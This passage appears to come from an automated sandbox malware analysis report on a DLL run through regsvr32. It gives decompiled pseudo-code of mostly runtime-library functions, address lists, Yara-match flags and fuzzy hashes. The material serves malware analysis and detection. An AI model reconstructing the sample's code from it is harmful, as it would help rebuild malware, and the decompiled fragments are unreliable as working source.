				 *(_t194 + 0x30) = r9d;
				 *__rcx = r9d;
				r9d = 0;
				E0000000118002D894(_t167, _t170,  &(__rcx[1]), _t187 + _t178 >> 0x20, __rcx, _t194 + 0x34, _t215 << 2);
				return E000000011800149A0(0, _t122,  *(_t192 + 0x2d0) ^ _t194);
			}































                                                                                                        0x18002c580
                                                                                                        0x18002c585
                                                                                                        0x18002c58d
                                                                                                        0x18002c594
                                                                                                        0x18002c59b
                                                                                                        0x18002c59e
                                                                                                        0x18002c5ad
                                                                                                        0x18002c5b8
                                                                                                        0x18002c5ba
                                                                                                        0x18002c5c4
                                                                                                        0x18002c5cc
                                                                                                        0x18002c5d0
                                                                                                        0x18002c5d7
                                                                                                        0x18002c5de
                                                                                                        0x18002c5e6
                                                                                                        0x18002c5e8
                                                                                                        0x18002c5ee
                                                                                                        0x18002c5f0
                                                                                                        0x18002c5f3
                                                                                                        0x18002c5f7
                                                                                                        0x18002c5fa
                                                                                                        0x18002c5fd
                                                                                                        0x18002c603
                                                                                                        0x18002c614
                                                                                                        0x18002c623
                                                                                                        0x18002c628
                                                                                                        0x18002c62f
                                                                                                        0x18002c631
                                                                                                        0x18002c638
                                                                                                        0x18002c63a
                                                                                                        0x18002c646
                                                                                                        0x18002c652
                                                                                                        0x18002c655
                                                                                                        0x18002c658
                                                                                                        0x18002c65f
                                                                                                        0x18002c664
                                                                                                        0x18002c66c
                                                                                                        0x18002c673
                                                                                                        0x18002c679
                                                                                                        0x18002c67c
                                                                                                        0x18002c680
                                                                                                        0x18002c686
                                                                                                        0x18002c68c
                                                                                                        0x18002c695
                                                                                                        0x18002c69c
                                                                                                        0x18002c69e
                                                                                                        0x18002c6ad
                                                                                                        0x18002c6b7
                                                                                                        0x18002c6ba
                                                                                                        0x18002c6c1
                                                                                                        0x18002c6c9
                                                                                                        0x18002c6cb
                                                                                                        0x18002c6d1
                                                                                                        0x18002c6d3
                                                                                                        0x18002c6d6
                                                                                                        0x18002c6d9
                                                                                                        0x18002c6e3
                                                                                                        0x18002c6f4
                                                                                                        0x18002c703
                                                                                                        0x18002c708
                                                                                                        0x18002c70f
                                                                                                        0x18002c711
                                                                                                        0x18002c718
                                                                                                        0x18002c71a
                                                                                                        0x18002c726
                                                                                                        0x18002c732
                                                                                                        0x18002c735
                                                                                                        0x18002c738
                                                                                                        0x18002c73f
                                                                                                        0x18002c744
                                                                                                        0x18002c747
                                                                                                        0x18002c74f
                                                                                                        0x18002c757
                                                                                                        0x18002c75a
                                                                                                        0x18002c765
                                                                                                        0x18002c767
                                                                                                        0x18002c772
                                                                                                        0x18002c774
                                                                                                        0x18002c777
                                                                                                        0x18002c77b
                                                                                                        0x18002c782
                                                                                                        0x18002c785
                                                                                                        0x18002c78a
                                                                                                        0x18002c792
                                                                                                        0x18002c799
                                                                                                        0x18002c79d
                                                                                                        0x18002c7a3
                                                                                                        0x18002c7a3
                                                                                                        0x18002c7a6
                                                                                                        0x18002c7ae
                                                                                                        0x18002c7b4
                                                                                                        0x18002c7b9
                                                                                                        0x18002c7bc
                                                                                                        0x18002c7c1
                                                                                                        0x18002c7c7
                                                                                                        0x18002c7ca
                                                                                                        0x18002c7d3
                                                                                                        0x18002c7dc
                                                                                                        0x18002c7de
                                                                                                        0x18002c7e1
                                                                                                        0x18002c7e9
                                                                                                        0x18002c7f1
                                                                                                        0x18002c7f5
                                                                                                        0x18002c814
                                                                                                        0x18002c829
                                                                                                        0x18002c82e
                                                                                                        0x18002c833
                                                                                                        0x18002c839
                                                                                                        0x18002c83c
                                                                                                        0x18002c83c
                                                                                                        0x18002c843
                                                                                                        0x18002c84b
                                                                                                        0x18002c84d
                                                                                                        0x18002c855
                                                                                                        0x18002c85b
                                                                                                        0x18002c869
                                                                                                        0x18002c871
                                                                                                        0x18002c87b
                                                                                                        0x18002c880
                                                                                                        0x18002c885
                                                                                                        0x18002c891
                                                                                                        0x18002c897
                                                                                                        0x18002c8a1
                                                                                                        0x18002c8b0
                                                                                                        0x18002c8b7
                                                                                                        0x18002c8b9
                                                                                                        0x18002c8c3
                                                                                                        0x18002c8ca
                                                                                                        0x18002c8d2
                                                                                                        0x18002c913

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: memcpy_s
                                                                                                        • String ID:
                                                                                                        • API String ID: 1502251526-0
                                                                                                        • Opcode ID: eda794af16b2483a9b4159ae65ea62dc0a1e8555f1add3b0e5803e4c8c6175c8
                                                                                                        • Instruction ID: 3f21631aa582db2fed837b574a30a29c0bb4c7abd10546e9f43f02f2dc558d70
                                                                                                        • Opcode Fuzzy Hash: eda794af16b2483a9b4159ae65ea62dc0a1e8555f1add3b0e5803e4c8c6175c8
                                                                                                        • Instruction Fuzzy Hash: 6FA1B0B66006C88AE7BB8F18E440BE977A1F3697C8F54D116EB4A57B44CF34CA49CB41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001579C Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 45%
                                                                                                        			E0000000118001579C(signed int __ecx, void* __rax, long long __rbx) {
				void* _t35;
				void* _t36;
				int _t38;
				void* _t58;
				void* _t76;
				long _t79;
				void* _t80;
				void* _t82;
				void* _t83;
				void* _t85;

				_t58 = __rax;
				 *((long long*)(_t82 + 8)) = __rbx;
				_t80 = _t82 - 0x4c0;
				_t83 = _t82 - 0x5c0;
				if (IsProcessorFeaturePresent(_t79) == 0) goto 0x800157c6;
				asm("int 0x29");
				_t35 = E00000001180015794(_t34);
				r8d = 0x4d0;
				_t36 = E000000011800164C0(_t35, 0, _t80 - 0x10, _t76, _t85);
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t58 == 0) goto 0x80015846;
				 *(_t83 + 0x38) =  *(_t83 + 0x38) & 0x00000000;
				 *((long long*)(_t83 + 0x30)) = _t80 + 0x4e0;
				 *((long long*)(_t83 + 0x28)) = _t80 + 0x4e8;
				 *((long long*)(_t83 + 0x20)) = _t80 - 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t80 + 0xe8)) =  *((intOrPtr*)(_t80 + 0x4c8));
				r8d = 0x98;
				 *((long long*)(_t80 + 0x88)) = _t80 + 0x4d0;
				E000000011800164C0(_t36, 0, _t83 + 0x50,  *((intOrPtr*)(_t80 + 0x4d8)),  *((intOrPtr*)(_t80 + 0xe8)));
				 *((long long*)(_t83 + 0x60)) =  *((intOrPtr*)(_t80 + 0x4c8));
				 *((intOrPtr*)(_t83 + 0x50)) = 0x40000015;
				 *((intOrPtr*)(_t83 + 0x54)) = 1;
				_t38 = IsDebuggerPresent();
				 *((long long*)(_t83 + 0x40)) = _t83 + 0x50;
				 *((long long*)(_t83 + 0x48)) = _t80 - 0x10;
				SetUnhandledExceptionFilter(??);
				if (UnhandledExceptionFilter(??) != 0) goto 0x800158d6;
				if ((__ecx & 0xffffff00 | _t38 == 0x00000001) != 0) goto 0x800158d6;
				return E00000001180015794(_t40);
			}













                                                                                                        0x18001579c
                                                                                                        0x18001579c
                                                                                                        0x1800157a2
                                                                                                        0x1800157aa
                                                                                                        0x1800157c0
                                                                                                        0x1800157c4
                                                                                                        0x1800157cb
                                                                                                        0x1800157d6
                                                                                                        0x1800157dc
                                                                                                        0x1800157e5
                                                                                                        0x1800157fc
                                                                                                        0x1800157ff
                                                                                                        0x180015808
                                                                                                        0x18001580a
                                                                                                        0x180015821
                                                                                                        0x180015830
                                                                                                        0x180015839
                                                                                                        0x180015840
                                                                                                        0x180015852
                                                                                                        0x180015862
                                                                                                        0x18001586c
                                                                                                        0x180015873
                                                                                                        0x18001587f
                                                                                                        0x180015884
                                                                                                        0x18001588c
                                                                                                        0x180015894
                                                                                                        0x1800158a2
                                                                                                        0x1800158ae
                                                                                                        0x1800158b5
                                                                                                        0x1800158c8
                                                                                                        0x1800158cc
                                                                                                        0x1800158e6

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                        • String ID:
                                                                                                        • API String ID: 3140674995-0
                                                                                                        • Opcode ID: a621712eae61dee3955588bb3234dad7259baafe85a48cd48895ed880f0ea3fc
                                                                                                        • Instruction ID: f394d138f1db0b912b1bbde9b082971e45fad5ecfde42bec3c49c2976642a504
                                                                                                        • Opcode Fuzzy Hash: a621712eae61dee3955588bb3234dad7259baafe85a48cd48895ed880f0ea3fc
                                                                                                        • Instruction Fuzzy Hash: 8B311072205B88C6EBA19F61E8403ED7375F788788F44842AEA4D57B95DF39C64CC710
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024078B4 Relevance: 9.6, Strings: 7, Instructions: 807COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X$-r$-$?2 z$@$5k_$Y
                                                                                                        • API String ID: 0-1635990449
                                                                                                        • Opcode ID: 9aed607114c2eb5ec7d32f106dd1cd7fd4d21038fc5605723301968f845e90cd
                                                                                                        • Instruction ID: 562e268fde9b2af343fc7e204824931b7671f75bc4106d520703a2d87598dd53
                                                                                                        • Opcode Fuzzy Hash: 9aed607114c2eb5ec7d32f106dd1cd7fd4d21038fc5605723301968f845e90cd
                                                                                                        • Instruction Fuzzy Hash: 1B82E771908B8C8FEB58DF28C88949E7BF2FB94744F20461DE96A972A0D774D845CF81
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241B5C4 Relevance: 9.6, Strings: 7, Instructions: 804COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X$,1$3b<x$I[$L2>$Oh$r
                                                                                                        • API String ID: 0-1066297750
                                                                                                        • Opcode ID: a3a8df4b40438642c769f9c7e87077fbb206f21af2b70b5365a952ed52e030af
                                                                                                        • Instruction ID: 395365a1327a5d1b3ced6baa478090f094dd2b299f147a717b7fbddb9633f075
                                                                                                        • Opcode Fuzzy Hash: a3a8df4b40438642c769f9c7e87077fbb206f21af2b70b5365a952ed52e030af
                                                                                                        • Instruction Fuzzy Hash: 0C922C7154438B8BDB78CF25C889BEE7BE1FB80304F10452DE8698A761E7749649DF82
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018005F03C Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E0000000118005F03C(void* __eflags, void* __rax, signed short* __rcx, void* __r10, char _a16, char _a24) {
				void* _t10;
				intOrPtr _t23;
				void* _t29;
				signed short* _t31;
				intOrPtr _t36;
				signed long long _t42;

				_t29 = __rax;
				E0000000118005E120(E0000000118005E118(_t10));
				r12d = 0;
				_a16 = r12d;
				_a24 = r12d;
				if (E0000000118005E188(_t29,  &_a16) != 0) goto 0x8005f2a1;
				if (E0000000118005E128(_t29,  &_a24) != 0) goto 0x8005f2a1;
				_t36 =  *0x800da448; // 0x0
				_t23 = _t36;
				if (_t23 == 0) goto 0x8005f0ba;
				r8d =  *(__rcx + _t36 - __rcx) & 0x0000ffff;
				if (_t23 != 0) goto 0x8005f0b6;
				_t31 =  &(__rcx[1]);
				if (r8d != 0) goto 0x8005f0a0;
				if (( *__rcx & 0x0000ffff) - r8d == 0) goto 0x8005f0e7;
				_t39 = (_t42 | 0xffffffff) + 1;
				if (__rcx[(_t42 | 0xffffffff) + 1] != r12w) goto 0x8005f0c1;
				E0000000118005B560(_t31, 2 + _t39 * 2, __r10);
				if (_t31 != 0) goto 0x8005f0f6;
				return E0000000118005BBE0(_t31, 2 + _t39 * 2);
			}









                                                                                                        0x18005f03c
                                                                                                        0x18005f059
                                                                                                        0x18005f05e
                                                                                                        0x18005f065
                                                                                                        0x18005f06c
                                                                                                        0x18005f077
                                                                                                        0x18005f088
                                                                                                        0x18005f08e
                                                                                                        0x18005f095
                                                                                                        0x18005f098
                                                                                                        0x18005f0a3
                                                                                                        0x18005f0ab
                                                                                                        0x18005f0ad
                                                                                                        0x18005f0b4
                                                                                                        0x18005f0b8
                                                                                                        0x18005f0c1
                                                                                                        0x18005f0c9
                                                                                                        0x18005f0d3
                                                                                                        0x18005f0de
                                                                                                        0x18005f0f5

                                                                                                        APIs
                                                                                                        • _get_daylight.LIBCMT ref: 000000018005F081
                                                                                                          • Part of subcall function 000000018005E128: _invalid_parameter_noinfo.LIBCMT ref: 000000018005E13C
                                                                                                          • Part of subcall function 000000018005BBE0: RtlReleasePrivilege.NTDLL ref: 000000018005BBF6
                                                                                                          • Part of subcall function 000000018005BBE0: GetLastError.KERNEL32 ref: 000000018005BC00
                                                                                                          • Part of subcall function 000000018002599C: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,000000018002594B,?,?,?,?,?,0000000180025836), ref: 00000001800259A5
                                                                                                          • Part of subcall function 000000018002599C: GetCurrentProcess.KERNEL32(?,?,?,?,000000018002594B,?,?,?,?,?,0000000180025836), ref: 00000001800259CA
                                                                                                        • _get_daylight.LIBCMT ref: 000000018005F070
                                                                                                          • Part of subcall function 000000018005E188: _invalid_parameter_noinfo.LIBCMT ref: 000000018005E19C
                                                                                                        • _get_daylight.LIBCMT ref: 000000018005F2E6
                                                                                                        • _get_daylight.LIBCMT ref: 000000018005F2F7
                                                                                                        • _get_daylight.LIBCMT ref: 000000018005F308
                                                                                                        • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,000000018005F548), ref: 000000018005F32F
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLastPresentPrivilegeProcessProcessorReleaseTimeZone
                                                                                                        • String ID:
                                                                                                        • API String ID: 415722205-0
                                                                                                        • Opcode ID: 0cbc3ea9708749f91982c3a1dc2ae22bc3b04357077176043799787ebf9f4301
                                                                                                        • Instruction ID: cfc95c4c72115358b7c8cab43c5012d93b5adeebf54151242cce4ba10d63fd6c
                                                                                                        • Opcode Fuzzy Hash: 0cbc3ea9708749f91982c3a1dc2ae22bc3b04357077176043799787ebf9f4301
                                                                                                        • Instruction Fuzzy Hash: A9D101366006488AFBA6EF22D8413E96361F78D7D4F44C226FE4957B85DF3AC649C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800530E0 Relevance: 9.2, APIs: 6, Instructions: 230COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E000000011800530E0(intOrPtr* __rax, void* __rcx, void* __rdx) {

				if (__rcx != 0) goto 0x80053111;
				E0000000118005B354(__rcx, __rax);
				 *__rax = 0x16;
				E0000000118002594C();
				return 0x16;
			}



                                                                                                        0x1800530f4
                                                                                                        0x1800530f6
                                                                                                        0x180053100
                                                                                                        0x180053102
                                                                                                        0x180053110

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 1405656091-0
                                                                                                        • Opcode ID: a31a33479e857dc42729b3b2cac75f28346835c6696866dbaf901c6f4623424b
                                                                                                        • Instruction ID: 636f0898f2ca2af78af8095466bd5136ddd5f1cd73202f3283673552b4b7cbe3
                                                                                                        • Opcode Fuzzy Hash: a31a33479e857dc42729b3b2cac75f28346835c6696866dbaf901c6f4623424b
                                                                                                        • Instruction Fuzzy Hash: 1181C4B27007498BEB998F35C8523EC27A1E758BC8F04D129FA099B789EF39D645C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180025630 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 65%
                                                                                                        			E00000001180025630(void* __ecx, intOrPtr __edx, long long __rbx, void* __rdx, long long __rsi, void* __r8) {
				void* _t36;
				void* _t37;
				void* _t38;
				int _t40;
				signed long long _t62;
				long long _t65;
				_Unknown_base(*)()* _t85;
				void* _t89;
				void* _t90;
				void* _t92;
				signed long long _t93;
				struct _EXCEPTION_POINTERS* _t99;

				 *((long long*)(_t92 + 0x10)) = __rbx;
				 *((long long*)(_t92 + 0x18)) = __rsi;
				_t90 = _t92 - 0x4f0;
				_t93 = _t92 - 0x5f0;
				_t62 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t90 + 0x4e0) = _t62 ^ _t93;
				if (__ecx == 0xffffffff) goto 0x8002566f;
				_t37 = E00000001180015794(_t36);
				r8d = 0x98;
				_t38 = E000000011800164C0(_t37, 0, _t93 + 0x70, __rdx, __r8);
				r8d = 0x4d0;
				E000000011800164C0(_t38, 0, _t90 + 0x10, __rdx, __r8);
				 *((long long*)(_t93 + 0x48)) = _t93 + 0x70;
				_t65 = _t90 + 0x10;
				 *((long long*)(_t93 + 0x50)) = _t65;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t65 == 0) goto 0x80025702;
				 *(_t93 + 0x38) =  *(_t93 + 0x38) & 0x00000000;
				 *((long long*)(_t93 + 0x30)) = _t93 + 0x58;
				 *((long long*)(_t93 + 0x28)) = _t93 + 0x60;
				 *((long long*)(_t93 + 0x20)) = _t90 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t90 + 0x108)) =  *((intOrPtr*)(_t90 + 0x508));
				 *((intOrPtr*)(_t93 + 0x70)) = __edx;
				 *((long long*)(_t90 + 0xa8)) = _t90 + 0x510;
				 *((long long*)(_t90 - 0x80)) =  *((intOrPtr*)(_t90 + 0x508));
				 *((intOrPtr*)(_t93 + 0x74)) = r8d;
				_t40 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t85, _t89);
				if (UnhandledExceptionFilter(_t99) != 0) goto 0x80025764;
				if (_t40 != 0) goto 0x80025764;
				if (__ecx == 0xffffffff) goto 0x80025764;
				return E000000011800149A0(E00000001180015794(_t42), __ecx,  *(_t90 + 0x4e0) ^ _t93);
			}















                                                                                                        0x180025630
                                                                                                        0x180025635
                                                                                                        0x18002563e
                                                                                                        0x180025646
                                                                                                        0x18002564d
                                                                                                        0x180025657
                                                                                                        0x180025668
                                                                                                        0x18002566a
                                                                                                        0x180025676
                                                                                                        0x18002567c
                                                                                                        0x180025687
                                                                                                        0x18002568d
                                                                                                        0x180025697
                                                                                                        0x1800256a0
                                                                                                        0x1800256a4
                                                                                                        0x1800256a9
                                                                                                        0x1800256be
                                                                                                        0x1800256c1
                                                                                                        0x1800256ca
                                                                                                        0x1800256cc
                                                                                                        0x1800256df
                                                                                                        0x1800256ec
                                                                                                        0x1800256f5
                                                                                                        0x1800256fc
                                                                                                        0x180025709
                                                                                                        0x18002571b
                                                                                                        0x18002571f
                                                                                                        0x18002572d
                                                                                                        0x180025731
                                                                                                        0x180025735
                                                                                                        0x18002573f
                                                                                                        0x180025752
                                                                                                        0x180025756
                                                                                                        0x18002575b
                                                                                                        0x18002578a

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                        • String ID:
                                                                                                        • API String ID: 1239891234-0
                                                                                                        • Opcode ID: e42444076e56d02a66f56c5604cfe6615f542e7a233062eece3499062142a8cb
                                                                                                        • Instruction ID: 0ff0846d7a6b6540fcc00d3bc06d56cbb9aa8944b05e941d92b645885f68ff89
                                                                                                        • Opcode Fuzzy Hash: e42444076e56d02a66f56c5604cfe6615f542e7a233062eece3499062142a8cb
                                                                                                        • Instruction Fuzzy Hash: EB314F36214F8486DBA1CF25E8403EE73A4F788798F544126FA9D47B99DF38C659CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242A244 Relevance: 7.7, Strings: 6, Instructions: 180COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X$(&$Gs$Z3$gM$H
                                                                                                        • API String ID: 0-899204494
                                                                                                        • Opcode ID: 75cd7aec97f74cccd5bb255ad090ecb9e58375881b09623054fbd4dbc1529d9c
                                                                                                        • Instruction ID: bb5409a29559e2c89dcc731d0fe6e64f2f07c1e2745167076b89cf0655a24d6d
                                                                                                        • Opcode Fuzzy Hash: 75cd7aec97f74cccd5bb255ad090ecb9e58375881b09623054fbd4dbc1529d9c
                                                                                                        • Instruction Fuzzy Hash: 938117705006599BDF58DF28C8994ED7BA1FB48358F96622DFC0AAB390D378D489CF84
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02410D54 Relevance: 7.6, Strings: 6, Instructions: 111COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: VE\$"b$4&$C7yD$b$j
                                                                                                        • API String ID: 0-706655939
                                                                                                        • Opcode ID: b0b690034d73fe5156ed140d0953172f2c539371c2e0b92cb305394460cb9dfd
                                                                                                        • Instruction ID: 5b81e35773e68eaa39b05f6032ec3023d9600a9e9422144ece2dd89d6d31b0ef
                                                                                                        • Opcode Fuzzy Hash: b0b690034d73fe5156ed140d0953172f2c539371c2e0b92cb305394460cb9dfd
                                                                                                        • Instruction Fuzzy Hash: 34518DB590034A9FDB48CF64D48A5CEBFB0FF28398F204119E855A6260D3B896A5CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018000B6FC Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 276timeCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 73%
                                                                                                        			E0000000118000B6FC(void* __ecx, void* __ebp, void* __eflags, long long __rbx, long long __rcx, void* __rdx, void* __r8, void* __r9, void* __r10, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t160;
				void* _t167;
				void* _t168;
				void* _t169;
				signed long long _t216;
				signed long long _t217;
				long long _t219;
				intOrPtr _t220;
				intOrPtr* _t222;
				long long* _t227;
				long long _t233;
				void* _t235;
				long long _t240;
				long long _t241;
				intOrPtr _t243;
				signed long long _t255;
				WCHAR* _t274;
				intOrPtr _t275;
				union _GET_FILEEX_INFO_LEVELS _t277;
				long long _t278;
				long long* _t279;
				intOrPtr* _t280;
				intOrPtr _t281;
				long long _t283;
				void* _t286;
				void* _t287;
				void* _t289;
				signed long long _t290;
				void* _t292;
				signed long long _t297;
				void* _t315;
				void* _t316;
				signed long long _t317;
				signed long long _t319;
				void* _t321;
				struct _FILETIME* _t326;
				intOrPtr _t327;

				_t315 = __r11;
				_t292 = __r8;
				_t169 = __ebp;
				_t160 = __ecx;
				 *((long long*)(_t289 + 0x18)) = __rbx;
				_t287 = _t289 - 0x27;
				_t290 = _t289 - 0xe0;
				_t216 =  *0x800d81f8; // 0x68308725f9ca
				_t217 = _t216 ^ _t290;
				 *(_t287 + 0x17) = _t217;
				_t235 = __rdx;
				 *((long long*)(_t287 - 0x61)) = __rcx;
				_t278 = __rcx;
				E00000001180005CCC();
				r9d = r9d | 0xffffffff;
				 *(_t287 - 0x69) = _t217;
				r8d = __r9 + 9;
				E00000001180006A7C(_t160, _t217, __rdx, _t278, __rdx, __r10);
				GetSystemTimeAsFileTime(_t326);
				_t327 =  *((intOrPtr*)(_t235 + 0x120));
				_t240 =  *((intOrPtr*)(_t287 - 0x51));
				 *((long long*)(_t287 - 0x49)) = _t240;
				 *((long long*)(_t287 - 0x59)) = _t240;
				if (_t327 == 0) goto 0x8000b7b2;
				_t241 =  *((intOrPtr*)(_t327 + 8));
				goto 0x8000b77e;
				_t219 = _t241;
				if ( *((intOrPtr*)(_t241 + 8)) != 0) goto 0x8000b777;
				if ( *((intOrPtr*)(_t219 + 0x7c)) == 1) goto 0x8000b7a2;
				if ( *((intOrPtr*)(_t219 + 0x80)) == 1) goto 0x8000b7a2;
				_t243 =  *((intOrPtr*)(_t219 + 0x40));
				if (_t243 == 0) goto 0x8000b7a2;
				 *((intOrPtr*)(_t235 + 0x210)) =  *((intOrPtr*)(_t235 + 0x210)) + _t243;
				E0000000118000F3BC(_t219);
				if (_t219 != 0) goto 0x8000b783;
				if ( *((long long*)(_t235 + 0x210)) == 0) goto 0x8000bb04;
				asm("xorps xmm0, xmm0");
				 *((long long*)(_t287 + 0xf)) = _t219;
